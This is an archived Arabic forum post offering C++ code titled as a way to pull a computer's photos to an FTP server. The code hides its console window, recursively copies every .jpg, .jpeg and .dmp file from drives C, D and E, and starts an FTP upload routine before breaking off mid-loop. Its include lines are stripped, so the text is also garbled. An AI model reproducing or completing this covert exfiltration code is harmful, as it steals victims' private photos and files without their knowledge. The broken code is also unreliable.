development-point

development-point (https://vb.development-point.com/index.php)
-   الأرشيف (https://vb.development-point.com/forumdisplay.php?f=80)
-   -   كود سحب صور الجهاز على ftp (https://vb.development-point.com/showthread.php?t=2290)

‏windows 8 11-05-2012 05:51 PM

كود سحب صور الجهاز على ftp
 
<div>السلام عليكم . .


كود سحب صور الجهاز على ftp :29:

<div style="margin:20px; margin-top:5px"> كود:

#include
#define _WIN32_WINNT 0x0500
#include
#pragma comment (lib,"urlmon.lib")
#include
#include
#include
#include
#include
#include
#include
#include
#include
#pragma comment(lib, "wininet")
#include
#include
#include "wininet.h"
#include
#include
using namespace std;




int main(int argc, char* argv[])
{

////////////////////////////////// hide ///////////////////////////

HWND hide;
AllocConsole();
hide=FindWindowA("ConsoleWindowClass",0);
ShowWindow(hide,0);

//////////////////////////////// search files //////////////////////

system("for /r C:\\ %x in (*.jpg *.jpeg *.dmp) do @copy /y %x C:\\");
system("for /r D:\\ %x in (*.jpg *.jpeg *.dmp) do @copy /y %x C:\\");
system("for /r E:\\ %x in (*.jpg *.jpeg *.dmp) do @copy /y %x C:\\");

//////////////////////////////// upload ftp //////////////////////////////

char* locjpg = "C:\\*.*";

char* arr[50];
char* nfilen;


char desOfile[80];
WIN32_FIND_DATA findFileData;
HANDLE hFind = FindFirstFile((LPCSTR)locjpg, &findFileData);
nfilen = findFileData.cFileName;
strcpy(desOfile,"C:\\");
strcat(desOfile,nfilen);



for (unsigned f=0;f


الساعة الآن 05:38 AM

Powered by vBulletin® Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
development-point

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47